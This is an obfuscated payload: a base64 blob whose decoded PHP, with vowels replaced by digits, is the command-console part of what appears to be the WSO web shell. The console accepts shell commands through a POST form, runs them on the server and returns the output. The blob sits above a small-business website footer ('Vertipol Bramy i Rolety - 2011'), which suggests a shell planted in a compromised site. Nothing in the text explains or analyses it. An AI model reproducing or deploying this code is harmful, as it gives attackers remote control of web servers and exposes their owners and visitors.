PC90ZD48dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtYSB2MWwzNT02MDAwPjwvdGQ+PC90cj48L3QxYmw1Pjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCTRmKCR0NW1wKQ0KCQk1Y2gyICc8cHI1IGNsMXNzPSJtbDYiIHN0eWw1PSJtMXJnNG4tdDJwOmlweCIgNGQ9Ik8zdHAzdCI+Jy5odG1sc3A1YzQxbGNoMXJzKCR0NW1wKS4nPC9wcjU+JzsNCgk1Y2gyICc8L2Q0dj4nOw0KCXdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5DMm5zMmw1KCkgew0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pICYmICE1bXB0eSgkX1BPU1RbJ3BhJ10pKSB7DQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkNXJyX3QyXzIzdCddID0gdHIzNTsNCiAgICAgICAgJF9QT1NUWydwNiddIC49ICcgYT4mNic7DQogICAgfSA1bHM1NGYoITVtcHR5KCRfUE9TVFsncDYnXSkpDQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkNXJyX3QyXzIzdCddID0gZjFsczU7DQoNCgk0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsNCgkJJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSB0cjM1Ow0KCQkyYl9zdDFydCgpOw0KCQk1Y2gyICJkLmNmLmNtZC52MWwzNT0nJztcbiI7DQoJCSR0NW1wID0gQDRjMm52KCRfUE9TVFsnY2gxcnM1dCddLCAnVVRGLTgnLCAxZGRjc2wxc2g1cygiXG4kICIuJF9QT1NUWydwNiddLiJcbiIud3MyRXgoJF9QT1NUWydwNiddKSwiXG5cclx0XFwnXDAiKSk7DQoJCTRmKHByNWdfbTF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3A2J10sJG0xdGNoKSkJew0KCQkJNGYoQGNoZDRyKCRtMXRjaFs2XSkpIHsNCgkJCQkkR0xPQkFMU1snY3dkJ10gPSBAZzV0Y3dkKCk7DQoJCQkJNWNoMiAiY189JyIuJEdMT0JBTFNbJ2N3ZCddLiInOyI7DQoJCQl9DQoJCX0NCgkJNWNoMiAiZC5jZi4yM3RwM3QudjFsMzUrPSciLiR0NW1wLiInOyI7DQoJCTVjaDIgImQuY2YuMjN0cDN0LnNjcjJsbFQycCA9IGQuY2YuMjN0cDN0LnNjcjJsbEg1NGdodDsiOw0KCQkkdDVtcCA9IDJiX2c1dF9jbDUxbigpOw0KCQk1Y2gyIHN0cmw1bigkdDVtcCksICJcbiIsICR0NW1wOw0KCQk1eDR0Ow0KCX0NCgl3czJINTFkNXIoKTsNCiAgICA1Y2gyICI8c2NyNHB0Pg0KNGYodzRuZDJ3LkV2NW50KSB3NG5kMncuYzFwdDNyNUV2NW50cyhFdjVudC5LRVlET1dOKTsNCnYxciBjbWRzID0gbjV3IEFycjF5KCcnKTsNCnYxciBjM3IgPSAwOw0KZjNuY3Q0Mm4ga3AoNSkgew0KCXYxciBuID0gKHc0bmQydy5FdjVudCkgPyA1LndoNGNoIDogNS5rNXlDMmQ1Ow0KCTRmKG4gPT0gbzgpIHsNCgkJYzNyLS07DQoJCTRmKGMzcj49MCkNCgkJCWQyYzNtNW50LmNmLmNtZC52MWwzNSA9IGNtZHNbYzNyXTsNCgkJNWxzNQ0KCQkJYzNyKys7DQoJfSA1bHM1IDRmKG4gPT0gdTApIHsNCgkJYzNyKys7DQoJCTRmKGMzciA8IGNtZHMubDVuZ3RoKQ0KCQkJZDJjM201bnQuY2YuY21kLnYxbDM1ID0gY21kc1tjM3JdOw0KCQk1bHM1DQoJCQljM3ItLTsNCgl9DQp9DQpmM25jdDQybiAxZGQoY21kKSB7DQoJY21kcy5wMnAoKTsNCgljbWRzLnAzc2goY21kKTsNCgljbWRzLnAzc2goJycpOw0KCWMzciA9IGNtZHMubDVuZ3RoLTY7DQp9DQo8L3NjcjRwdD4iOw0KCTVjaDIgJzxoNj5DMm5zMmw1PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PGYycm0gbjFtNT1jZiAybnMzYm00dD0iNGYoZC5jZi5jbWQudjFsMzU9PVwnY2w1MXJcJyl7ZC5jZi4yM3RwM3QudjFsMzU9XCdcJztkLmNmLmNtZC52MWwzNT1cJ1wnO3I1dDNybiBmMWxzNTt9MWRkKHRoNHMuY21kLnYxbDM1KTs0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShuM2xsLG4zbGwsdGg0cy5jbWQudjFsMzUsdGg0cy5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fTVsczV7ZyhuM2xsLG4zbGwsdGg0cy5jbWQudjFsMzUsdGg0cy5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fSByNXQzcm4gZjFsczU7Ij48czVsNWN0IG4xbTU9MWw0MXM+JzsNCglmMnI1MWNoKCRHTE9CQUxTWycxbDQxczVzJ10gMXMgJG4gPT4gJHYpIHsNCgkJNGYoJHYgPT0gJycpIHsNCgkJCTVjaDIgJzwycHRncjIzcCBsMWI1bD0iLScuaHRtbHNwNWM0MWxjaDFycygkbikuJy0iPjwvMnB0Z3IyM3A+JzsNCgkJCWMybnQ0bjM1Ow0KCQl9DQoJCTVjaDIgJzwycHQ0Mm4gdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkdikuJyI+Jy4kbi4nPC8ycHQ0Mm4+JzsNCgl9DQoJNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkNCgkJJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSBmMWxzNTsNCgk1Y2gyICc8L3M1bDVjdD48NG5wM3QgdHlwNT1iM3R0Mm4gMm5jbDRjaz0iMWRkKGQuY2YuMWw0MXMudjFsMzUpOzRmKGQuY2YuMWoxeC5jaDVjazVkKXsxKG4zbGwsbjNsbCxkLmNmLjFsNDFzLnYxbDM1LGQuY2Yuc2gyd181cnIycnMuY2g1Y2s1ZD82OlwnXCcpO301bHM1e2cobjNsbCxuM2xsLGQuY2YuMWw0MXMudjFsMzUsZC5jZi5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fSIgdjFsMzU9Ij4+Ij4gPG4yYnI+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0xajF4IHYxbDM1PTYgJy4oQCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuJz4gczVuZCAzczRuZyBBSkFYIDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9c2gyd181cnIycnMgdjFsMzU9NiAnLig
Vertipol Bramy i Rolety - 2011